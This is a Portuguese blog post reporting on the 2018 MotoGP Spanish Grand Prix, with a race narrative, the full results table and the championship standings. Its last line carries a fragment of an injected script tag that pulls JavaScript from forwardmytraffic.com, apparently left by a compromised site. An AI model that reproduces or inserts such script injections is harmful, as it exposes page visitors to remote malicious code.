No domingo (dia 06/05/2018) tivemos o GP da Espanha de MOTO GP 2018! Com uma largada avassaladora de Marc Marquez, ultrapassando Crutchlow, Zarco, Pedrosa e Lorenzo até a oitava volta, a formiga atômica teve a corrida nas mãos até o final! Vencendo fácil! E quem poderia tentar atrapalhar a festa do espanhol, seria Lorenzo, Dovizioso e até mesmo Dani Pedrosa, que formavam o pelotão principal!
Do trio, o destaque era Dovi, que após ultrapassar Pedrosa partiu para a disputa com o companheiro – Jorge Lorenzo. Coisa boa não iria acontecer! Lorenzo jamais iria facilitar e Dovi não tinha outra escolha caso quisesse realmente alcançar MARQUEZ e galgar a vitória! Já Pedrosa observava bem de perto!
Até que faltando 8 ou 9 voltas para o final, Dovizioso resolveu decidir a situação e partiu para a ultrapassagem na curva 6! Lorenzo ao retribuir com um “X”, fechou demais a curva e lá estava ele, Dani Pedrosa no melhor estilo “come quieto” tentando aproveitar a situação e tomar as posições das Ducatis. Mas, Lorenzo toca em Pedrosa e na queda ainda acerta Dovizioso! Final de PROVA para os 3 e felicidade total para Marc MARQUEZ que apenas teve que levar a sua Honda para casa! E claro, também alegria geral para o pelotão de trás, composto por Zarco, Petrucci, Iannone, Miller e Rossi.
Ainda nas últimas voltas, boas disputas entre o 2º pelotão, principalmente entre Petrucci, Iannone e Rossi. Mas ao final tivemos mesmo o pódio formado por Marc, Zarco (salvando a Yamaha de um vexame maior) e Iannone. Juntamente com o trio Dovi, Jorgito e Pedrosa, não terminaram a prova Cal Crutchlow, Luthi, Rins e Aleix ESPARGARO. Yamaha, que nada andou no final de semana, teve ainda Rossi em 5º e Viñales em 7º.
Marquez é o novo líder com 70 pontos, agora seguido por Zarco! E mesmo sem expressão alguma na temporada, Viñales, surpreendentemente é o 3º colocado com 50 pontos.
Resultado final prova Moto GP / Espanha – 2018:
MOTO | PILOTO | NACIONALIDADE | BIKE | VOLTAS | TEMPO | GAP | INTERVALO | VELOCIDADE | PONTOS | |
1º | 93 | Marc MÁRQUEZ | SPA | Honda | 25 | 41’39.678 | 159.2 | 25 | ||
2º | 5 | Johann ZARCO | FRA | Yamaha | 25 | 41’44.919 | 5.241 | 5.241 | 158.9 | 20 |
3º | 29 | Andrea IANNONE | ITA | Suzuki | 25 | 41’47.892 | 8.214 | 2.973 | 158.7 | 16 |
4º | 9 | Danilo PETRUCCI | ITA | Ducati | 25 | 41’48.295 | 8.617 | 0.403 | 158.7 | 13 |
5º | 46 | Valentino ROSSI | ITA | Yamaha | 25 | 41’48.421 | 8.743 | 0.126 | 158.6 | 11 |
6º | 43 | Jack MILLER | AUS | Ducati | 25 | 41’49.446 | 9.768 | 1.025 | 158.6 | 10 |
7º | 25 | Maverick VINÃLES | SPA | Yamaha | 25 | 41’53.221 | 13.543 | 3.775 | 158.3 | 9 |
8º | 19 | Alvaro BAUTISTA | SPA | Ducati | 25 | 41’53.754 | 14.076 | 0.533 | 158.3 | 8 |
9º | 21 | Franco MORBIDELLI | ITA | Honda | 25 | 41’56.500 | 16.822 | 2.746 | 158.1 | 7 |
10º | 36 | Mika KALLIO | FIN | kTM | 25 | 41’59.083 | 19.405 | 2.583 | 158.0 | 6 |
11º | 44 | Pol ESPARGARO | SPA | kTM | 25 | 42’00.827 | 21.149 | 1.744 | 157.9 | 5 |
12º | 30 | Takaaki NAKAGAMI | JPN | Honda | 25 | 42’00.852 | 21.174 | 0.025 | 157.9 | 4 |
13º | 38 | Bradley SMITH | GBR | KTM | 25 | 42’01.443 | 21.765 | 0.591 | 157.8 | 3 |
14º | 53 | Tito RABAT | SPA | Ducati | 25 | 42’01.781 | 22.103 | 0.338 | 157.8 | 2 |
15º | 45 | Scott REDDING | GBR | Aprilia | 25 | 42’16.433 | 36.755 | 14.652 | 156.9 | 1 |
16º | 55 | Hafizh SYAHRIN | MAL | Yamaha | 25 | 42’21.539 | 41.861 | 5.106 | 156.6 | – |
17º | 10 | Xavier SIMEON | BEL | Ducati | 25 | 42’28.919 | 49.241 | 7.380 | 156.1 | – |
18º | 17 | Karel ABRAHAM | CZE | Ducati | 24 | 42’22.308 | 1 volta | 1 volta | 150.3 | – |
Dnf | 99 | Jorge LORENZO | SPA | Ducati | 17 | 28’18.684 | 8 voltas | 7 voltas | 159.3 | Acidente |
Dnf | 4 | Andrea DOVISIOSO | ITA | Ducati | 17 | 28’18.820 | 8 voltas | 0.136 | 159.3 | Acidente |
Dnf | 26 | Dani PEDROSA | SPA | Honda | 17 | 28’19.015 | 8 voltas | 0.195 | 159.3 | Acidente |
Dnf | 35 | Cal CRUTCHLOW | GRA | Honda | 16 | 27’18.708 | 9 voltas | 1 volta | 155.4 | Acidente |
Dnf | 12 | Thomas LUTHI | SWI | Honda | 11 | 18’35.074 | 14 voltas | 5 voltas | 157.0 | Acidente |
Dnf | 42 | Alex RINS | SPA | Suzuki | 5 | 8’23.946 | 20 voltas | 6 voltas | 157.9 | Acidente |
Dnf | 41 | Aleix ESPARGARO | SPA | Aprilia | 0 | – | – | – | – | – |
CLASSIFICAÇÃO GERAL DE PILOTOS
1) Marc MARQUEZ – Honda – SPA – 70 pontos
2) Johann ZARCO – Yamaha – FRA – 58 pontos
3) Maverick VIÑALES – Yamaha – SPA – 50 pontos
4) Andrea IANNONE – Suzuki – ITA – 47 pontos
5) Andrea DOVIZIOSO – Ducati – ITA – 46 pontos
6) Valentino ROSSI – Yamaha – ITA – 40 pontos
7) Cal CRUTCHLOW – Honda – GBR – 38 pontos
8) Jack MILLER – Ducati – AUS – 36 pontos
9) Danilo PETRUCCI – Ducati – ITA – 34 pontos
10) Tito RABAT – Ducati – SPA – 24 pontos
PRÓXIMA ETAPA
A próxima etapa da temporada em 20 / Maio / 2018 – GP da França em Le Mans!
Fontes e fotos:
http://www.tomadadetempo.com.br/2018/05/06/moto-gp-resultado-final-marc-marquez-vence-facil-facil-gp-da-espanha-2018/… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>